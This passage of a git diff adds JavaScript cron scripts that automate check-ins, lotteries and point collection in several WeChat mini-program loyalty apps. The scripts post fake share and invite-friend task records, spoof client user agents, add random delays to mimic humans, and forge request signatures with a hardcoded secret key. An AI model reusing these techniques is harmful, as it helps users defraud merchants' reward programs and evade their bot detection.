秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} diff --git a/脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js b/脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js new file mode 100644 index 0000000..389026c --- /dev/null +++ b/脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js @@ -0,0 +1,209 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/tslj.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/tslj.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/tslj.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 28f4e466af4337269545853bd1d2829e7d314fa4157c0cad82b91a4650303ee7 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +谢瑞麟 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:tslj +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("谢瑞麟小程序签到"); +const WeChatServer = require("./wcs.js"); +let ckName = `tslj`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx439d0e0cc6742818', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.openid = null + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer ' + this.token + + await this.getUserInfo() + if (!this.isSign) await this.doSign() + } + async getUserToken(code) { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/auth/login`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249" + } + , + data: + { "code": code } + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.token = result.data.user_info.token + this.openid = result.data.user_info.openid + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + async getUserInfo() { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/user/index`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/x-www-form-urlencoded", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027' + }, + data: { "openid": this.openid } + } + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `[${result.data.mobile}] 积分[${result.data.integral}]🎉`); + for (let task of result.data.task_list) { + if (task.name == '每日签到') { + this.isSign = task.status + } + } + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + } + + async doSign() { + let options = { + method: 'POST', + url: `https://tslmember-crm.tslj.com.cn/api/userSignIn/signIn`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/x-www-form-urlencoded", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site" + }, + data: { "openid": `${this.openid}` } + }; + let { + data: result + } = await axios.request(options); + if (result?.code == '0') { + //打印签到结果 + const { integral, total_days } = result?.data; + $.log(`签到成功, 已连续签到 ${total_days} 天, 获得 ${integral} 积分 🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js b/脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js new file mode 100644 index 0000000..a59119e --- /dev/null +++ b/脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js @@ -0,0 +1,261 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/guyu.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/guyu.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/guyu.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: ef65b2694b08ab8584d6744f422ffa0748a46025b6316df40aeab472a62e139c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * 1 +------------------------------------------ +#Notice: +谷雨 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:guyu 名字 授权中心 里面的openid 多个账号用&分割 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("谷雨小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `guyu`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'https://xxx', + appid: 'wxda948f3be0afc375', + auth: process.env.wx_auth || "", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + await this.signIn() + await this.getUserPoints() + } + async getUserToken(code) { + let data = JSON.stringify({ + "code": "" + code, + "appid": "wxda948f3be0afc375", + "shopId": null, + "envVersion": "release", + "isEnterpriseWx": false, + "scene": 1168, + "referrerInfo": { + "appId": "wxda948f3be0afc375" + } + }); + + let options = { + method: 'POST', + url: 'https://mall-mobile-v6.vecrp.com/mobile/wxAppLogin', + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Content-Type': 'application/json;charset=UTF-8', + 'xweb_xhr': '1', + 'appid': 'wxda948f3be0afc375', + 'token': '', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxda948f3be0afc375/65/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + }, + data: data + }; + + let { + data: result + } = await axios.request(options); + console.log(result); + + if (result?.success) { + this.token = result.result.mobileToken + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.message}❌`) + } + } + sha1(str) { + return require("crypto").createHash("sha1").update(str).digest("hex"); + } + request(options) { + + var sign, + n = void 0 + , d = {}, + l = "R6WbJ830wNsEdjH9GumwKYiYxHz0K9QD", + n = (new Date).getTime(), + d = "post" === options.method || "POST" === options.method ? { + body: JSON.stringify(options.data), + secretKey: l, + ts: n + } : Object.assign({}, options.params, { + secretKey: l, + ts: n + }), + sign = this.sha1(function (e) { + var t, a = []; + for (t in e) { + var r = t + e[t]; + a.push(r) + } + a.sort(); + var u = ""; + return a.map((function (e) { + "" === u ? u = e : u += e + } + )), + u + }(d)) + let baseHeaders = { + host: "mall-mobile-v6.vecrp.com", + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "appid": "wxda948f3be0afc375", + "content-type": "application/json;charset=UTF-8", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027", + "sign": "" + sign, + "starttime": "" + n, + "token": "" + this.token, + "ts": "" + n, + "x-tracedid": "" + $.uuid(), + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxda948f3be0afc375/65/page-frame.html", + } + options.headers = Object.assign(options.headers, baseHeaders) + + return axios.request(options) + } + async signIn() { + let options = { + method: 'POST', + url: `https://mall-mobile-v6.vecrp.com/mobile/activity/sign/sign`, + + headers: {}, + data: { + activityId: 'cdd30467-abb8-4944-8941-2879aa950a86', + shopId: '100186753', + signDate: $.time(`yyyy-M-dd`), + } + + }; + let { + data: result + } = await this.request(options); + if (result?.success) { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `签到成功`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + async getUserPoints() { + let options = { + method: 'GET', + url: `https://mall-mobile-v6.vecrp.com/mobile/customer/getMyAllPoint`, + params: { + shopId: '100186753' + }, + headers: {}, + + } + let { + data: result + } = await this.request(options); + if (result?.success) { + $.log(`账号[${this.index}]` + `积分:${result.result[0].score}`); + } else { + $.log(`账号[${this.index}] 获取积分-失败:${result.msg}❌`) + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js b/脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js new file mode 100644 index 0000000..2737e2c --- /dev/null +++ b/脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js @@ -0,0 +1,1486 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js +// # Repo: jdqlscript/toulu +// # Path: 起飞线.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 9bbd059de9b6e631288978e47fce4aca0e35a5eeae22d581aa4c84118f600821 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +地址: + +#小程序:起飞线 + +复制以上 微信打开 + +点击我的并抓包, +抓取https://cluster.qifeixian.com/api/user/v1/center/info,此链接请求头的x-ds-key和返回报文体中的id +变量export qfxhd='x-ds-key&id' +多账号@隔开 +export qfxhd='x-ds-key&id@x-ds-key&id' + + +TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + + +*/ +// corn 0 */3 * * * + +const $ = new Env('起飞线生活'); +const axios = require('axios'); +let request = require("request"); +request = request.defaults({ + jar: true +}); +const { + log +} = console; +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +const debug = 0; //0为关闭调试,1为打开调试,默认为0 +let qfxhd = ($.isNode() ? process.env.qfxhd : $.getdata("qfxhd")) || "" +let qfxhdArr = []; +let data = ''; +let msg = ''; +var hours = new Date().getMonth(); +var timestamp = Math.round(new Date().getTime()).toString(); +//---------------------- 自定义变量区域 ----------------------------------- +let host = 'cluster.qifeixian.com' +let userAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.42(0x18002a29) NetType/WIFI Language/zh_CN' +let xdPort = '1380' +let baseVersion = '3.1.2' +let version = '5.0.13' +let connection = 'keep-alive' +let contentType = 'application/json' +let acceptEncoding = 'gzip,compress,br,deflate' +let referer = 'https://servicewechat.com/wx3c0d10f34c013209/258/page-frame.html' +//----------------------------------------------------------------------- +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite(); + } else { + if (!(await Envs())) + return; + else { + + addNotifyStr(`\n\n============================================= \n脚本执行 - 北京时间(UTC+8):${new Date( + new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000).toLocaleString()} \n=============================================\n`); + + + + addNotifyStr(`\n=================== 共找到 ${qfxhdArr.length} 个账号 ===================`) + if (debug) { + log(`【debug】 这是你的全部账号数组:\n ${qfxhdArr}`); + } + for (let index = 0; index < qfxhdArr.length; index++) { + + let num = index + 1 + addNotifyStr(`\n==== 开始【第 ${num} 个账号】====\n`, true) + + qfx = qfxhdArr[index]; + qfxhd = qfx.split('&')[0]; + // log("00:" + qfxhd); + userId = qfx.split('&')[1]; + // log("11:" + userId); + restoken = qfxhd.match(/\.(.*?)\./)[1] + restoken = JSON.parse(Buffer.from(restoken, 'base64').toString('utf8')) + restoken = restoken.data.refreshToken + await refreshTokens() + await info() + // await list() + await share_bk() + await share_mall() + await invite_friends() + await lottery() + await first() + await water() + } + await SendMsg(msg); + } + } +})() + .catch((e) => log(e)) + .finally(() => $.done()) +async function refreshTokens() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/user/v1/public/token', + headers: { + Host: host, + Connection: connection, + 'user-agent': userAgent, + 'Content-Type': contentType, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: { + refresh_token: restoken + } + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.code = 10000) { + newtoken = data.data.access_token + addNotifyStr('刷新token:' + newtoken) + } else + addNotifyStr(data.msg) + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//每日抽奖 +async function lottery() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/lottery', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.code = 10000) { + addNotifyStr(data.data.data.prize.prizeLevel.desc) + addNotifyStr(data.data.data.prize.prizeLevel.name) + addNotifyStr(data.data.data.prize.desc) + winid = data.data.data['winner_id'] + addNotifyStr(data.data.msg) + await winning() + } else + addNotifyStr(data.msg) + + } catch (e) { + addNotifyStr(`${data.data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//抽奖结果 +async function winning() { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/winning-records/' + winid, + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.prizeExt) { + addNotifyStr(data.data.prizeExt.name + ' ' + data.data.sendType.name + ' ' + data.data.status.name) + + } else + addNotifyStr(data.data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//个人信息 +async function info() { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/wallet/v1/member/account/info', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data) { + addNotifyStr('money:' + data.data.money + ' score:' + data.data.score) + + } else + addNotifyStr(data.data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//邀请好友 +async function invite_friends() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/resouces/record', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: { "type": "invite_friends", "userId": userId } + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.data.status == false) { + addNotifyStr('未种树 先给你种个葡萄吧') + + } else + addNotifyStr(data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +async function list() { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/goods/v1/goods/list?gcId=&page=1&page_size=10&name=', + headers: { + Host: 'cluster.qifeixian.com', + Connection: 'keep-alive', + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.42(0x18002a29) NetType/WIFI Language/zh_CN', + 'x-ds-port': '1380', + 'base-version': '3.1.2', + version: '5.0.13', + Accept: '*/*', + Referer: 'https://servicewechat.com/wx3c0d10f34c013209/258/page-frame.html', + 'Accept-Encoding': 'gzip,compress,br,deflate' + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(function (response) { + try { + var data = response.data; + log(data); + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data) { + log('商品编号goods_id:' + data.data.list[0].goods_id) + } else + log(data.data.msg) + + } catch (e) { + log(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//分享爆款商品 +async function share_bk() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/resouces/record', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: { "type": "share_bk", "userId": userId } + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.data.status == false) { + addNotifyStr('未种树 先给你种个葡萄吧') + + } else + addNotifyStr(data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//分享商城商品 +async function share_mall() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/resouces/record', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: { "type": "share_mall", "userId": userId } + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.data.status == false) { + addNotifyStr('未种树 先给你种个葡萄吧') + + } else + addNotifyStr("00000" + data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//每日登录 +async function first() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/orchard/first', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.data.status == false) { + addNotifyStr('未种树 先给你种个葡萄吧') + await orchard() + await details() + } else + await details() + + } catch (e) { + log(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//种植果树 +async function orchard() { + return new Promise((resolve) => { + + var options = { + method: 'POST', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/orchard/task', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: { "tree_id": 9 } + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + if (data.data.code = 10000) { + + addNotifyStr('种树成功') + } else + addNotifyStr(data.data.msg) + + } catch (e) { + addNotifyStr(`异常:${data},原因:${data.msg}`) + } + }).catch(function (error) { + console.error(error); + }).then(res => { + //这里处理正确返回 + resolve(); + }); + }) + +} +//详情 +async function details() { + return new Promise((resolve) => { + + var options = { + method: 'GET', + url: 'https://cluster.qifeixian.com/api/activity-center/v1/orchard/details', + headers: { + Host: host, + Connection: connection, + 'x-ds-key': newtoken, + Authorization: 'Basic ' + newtoken, + 'Content-Type': contentType, + 'user-agent': userAgent, + 'x-ds-port': xdPort, + 'base-version': baseVersion, + version: version, + Accept: '*/*', + Referer: referer, + 'Accept-Encoding': acceptEncoding + }, + data: {} + }; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + axios.request(options).then(async function (response) { + try { + var data = response.data; + if (debug) { + log(`\n\n【debug】===============这是 返回data==============`); + log(data) + } + // log(data) + if (data.data.code = 10000) { + tsid = data.data.data.basisinfo['ts_id'] + + tasks = data.data.data.task.daily + + + addNotifyStr(tasks['is_lucky_draw']['task_name'] + ':') + await task_water(tasks['is_lucky_draw']['task_id']) + + addNotifyStr(tasks['is_landing']['task_name'] + ':') + await task_water(tasks['is_landing']['task_id']) + + addNotifyStr(tasks['is_invitation']['task_name'] + ':') + await task_water(tasks['is_invitation']['task_id']) + + addNotifyStr(tasks['is_share']['task_name'] + ':') + await task_water(tasks['is_share']['task_id']) + + addNotifyStr(tasks['is_bk']['task_name'] + ':') + await task_water(tasks['is_bk']['task_id']) + + addNotifyStr(tasks['is_cancel_after_verification_bk']['task_name'] + ':') + await task_water(tasks['is_cancel_after_verification_bk']['task_id']) + + addNotifyStr(tasks['is_consumption']['task_name'] + ':') + await task_water(tasks['is_consumption']['task_id']) + + 